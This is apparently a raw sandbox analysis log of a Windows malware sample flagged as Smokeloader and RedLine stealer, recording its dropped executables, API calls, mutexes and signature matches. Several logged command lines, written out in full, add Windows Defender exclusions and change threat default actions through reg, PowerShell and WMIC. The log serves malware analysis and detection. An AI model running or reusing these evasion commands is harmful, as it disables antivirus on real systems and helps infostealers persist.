Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00401620 NtDuplicateObject,NtCreateSection,VirtualProtect,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401620
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00401524 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,VirtualProtect,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401524
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_0040162D NtDuplicateObject,NtCreateSection,VirtualProtect,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_0040162D
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00401635 NtDuplicateObject,NtCreateSection,VirtualProtect,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401635
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_004033D2 NtClose,LdrLoadDll,RtlZeroMemory,GetModuleHandleA,	8_2_004033D2
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_004033E1 NtClose,LdrLoadDll,RtlZeroMemory,GetModuleHandleA,	8_2_004033E1
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_004033FB NtClose,LdrLoadDll,RtlZeroMemory,GetModuleHandleA,	8_2_004033FB
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_004033B7 NtClose,LdrLoadDll,RtlZeroMemory,GetModuleHandleA,	8_2_004033B7

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Windows\System32\GroupPolicy\Machine
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Windows\System32\GroupPolicy\User
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol
Source: C:\Windows\SysWOW64\schtasks.exe	File created: C:\Windows\Tasks\bbmnnUCIPYyTQrzMQJ.job

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E359EB10	0_2_00007FF7E359EB10
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3588F50	0_2_00007FF7E3588F50
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35A0560	0_2_00007FF7E35A0560
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E359DC30	0_2_00007FF7E359DC30
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E359F360	0_2_00007FF7E359F360
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35A2290	0_2_00007FF7E35A2290
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3582A60	0_2_00007FF7E3582A60
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E358E2F0	0_2_00007FF7E358E2F0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E359C160	0_2_00007FF7E359C160
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3592934	0_2_00007FF7E3592934
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35969D0	0_2_00007FF7E35969D0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35A89D0	0_2_00007FF7E35A89D0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35869D0	0_2_00007FF7E35869D0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3594890	0_2_00007FF7E3594890
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35988C0	0_2_00007FF7E35988C0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35940D0	0_2_00007FF7E35940D0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35A3F70	0_2_00007FF7E35A3F70
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3583720	0_2_00007FF7E3583720
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35A1800	0_2_00007FF7E35A1800
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3593010	0_2_00007FF7E3593010
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35957F0	0_2_00007FF7E35957F0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E358F7F4	0_2_00007FF7E358F7F4
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35A2700	0_2_00007FF7E35A2700
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3597F10	0_2_00007FF7E3597F10
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3577EC0	0_2_00007FF7E3577EC0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E3598D40	0_2_00007FF7E3598D40
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35A3600	0_2_00007FF7E35A3600
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E358FDA0	0_2_00007FF7E358FDA0
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_004162A6	18_2_004162A6
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_0040E5A5	18_2_0040E5A5
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_004126B0	18_2_004126B0
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_00403A01	18_2_00403A01
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_00418EF1	18_2_00418EF1
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_00418FCB	18_2_00418FCB

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\3wIIRe1QiHmGmyDfkt1MdfjR.exe DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\AFlhDPRBYXSdsXlIscLwpPBI.exe DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C

Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Code function: String function: 04C89C89 appears 69 times
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Code function: String function: 04C89C56 appears 419 times
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Code function: String function: 04C89CBF appears 115 times
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: String function: 00403A9C appears 33 times
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: String function: 00413954 appears 179 times
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: String function: 00007FF7E3579B60 appears 51 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8028 -ip 8028

Source: lgX7lgUL1w.exe

Static PE information: invalid certificate

Source: 6up3Hll278RsXeDsUnv7AmsU.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: H0hJPxhIO3F6BQNxVzuoHmfd.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: 3wIIRe1QiHmGmyDfkt1MdfjR.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: xHjBfoMXM1Bms4i9lirVpf5B.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: v0F2dmnMQ8GuOxPTeGs09I9Y.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: GEHqSaIn1rPu3OTaMO2vs7UL.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: IMmyv1eSkv8WoF4sKRLh3j87.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: bVGflEGYToK4vU6iMb86uQ6v.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: hmtNBhlQWScQGAc2r9fH2laz.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression
Source: LAD11vkv57kHfnlhAFxxWdEz.exe.5.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 423228 bytes, 1 file, at 0x2c +A "360P2SP.dll", number 1, 26 datablocks, 0x1 compression

Source: lgX7lgUL1w.exe	Binary or memory string: OriginalFilename vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe, 00000000.00000002.1212207092.00000233C0572000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIsMacCatalystVersionAtLeastGetStream.dllj% vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe, 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIsMacCatalystVersionAtLeastGetStream.dllj% vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe, 00000000.00000002.1214500875.00000233C7000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNew.exe" vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe, 00000000.00000002.1214500875.00000233C7774000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIsMacCatalystVersionAtLeastGetStream.dllj% vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe, 00000000.00000002.1213051292.00000233C4D27000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNew.exe" vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe, 00000000.00000002.1213051292.00000233C4D27000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIsMacCatalystVersionAtLeastGetStream.dllj% vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe, 00000000.00000002.1213026892.00000233C4800000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIsMacCatalystVersionAtLeastGetStream.dllj% vs lgX7lgUL1w.exe
Source: lgX7lgUL1w.exe	Binary or memory string: OriginalFilenameIsMacCatalystVersionAtLeastGetStream.dllj% vs lgX7lgUL1w.exe

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Source: lgX7lgUL1w.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.lgX7lgUL1w.exe.233c5000058.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.0.lgX7lgUL1w.exe.7ff7e3570000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.lgX7lgUL1w.exe.7ff7e3570000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.lgX7lgUL1w.exe.233c5000058.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.lgX7lgUL1w.exe.233c4d28818.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 00000026.00000002.2581381822.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000008.00000002.1769205035.000000000301B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000026.00000002.2621741485.0000000002E5B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: C:\Users\user\lgX7lgUL1w.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@173/255@0/54

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Code function: 0_2_00007FF7E3582890 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,

0_2_00007FF7E3582890

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe

Code function: 8_2_030225B2 CreateToolhelp32Snapshot,Module32First,

8_2_030225B2

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

File created: C:\Users\user\lgX7lgUL1w.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Mutant created: \Sessions\1\BaseNamedObjects\Q360SafeInstallerMutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8084:120:WilError_03
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Mutant created: \Sessions\1\BaseNamedObjects\1830B7BD-F7A3-4c4d-989B-C004DE465EDE 7280
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3180:120:WilError_03
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_15
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5340:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8028
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:8188:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6748:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yrsojfea.jbs.ps1

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1305731063.00000000004E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1305731063.00000000004E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

Source: lgX7lgUL1w.exe

Virustotal: Detection: 20%

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

File read: C:\Users\user\Desktop\lgX7lgUL1w.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lgX7lgUL1w.exe "C:\Users\user\Desktop\lgX7lgUL1w.exe"
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe "C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe" /s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe "C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe "C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe "C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe"
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe .\Install.exe /odidum "385118" /S
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe "C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe"
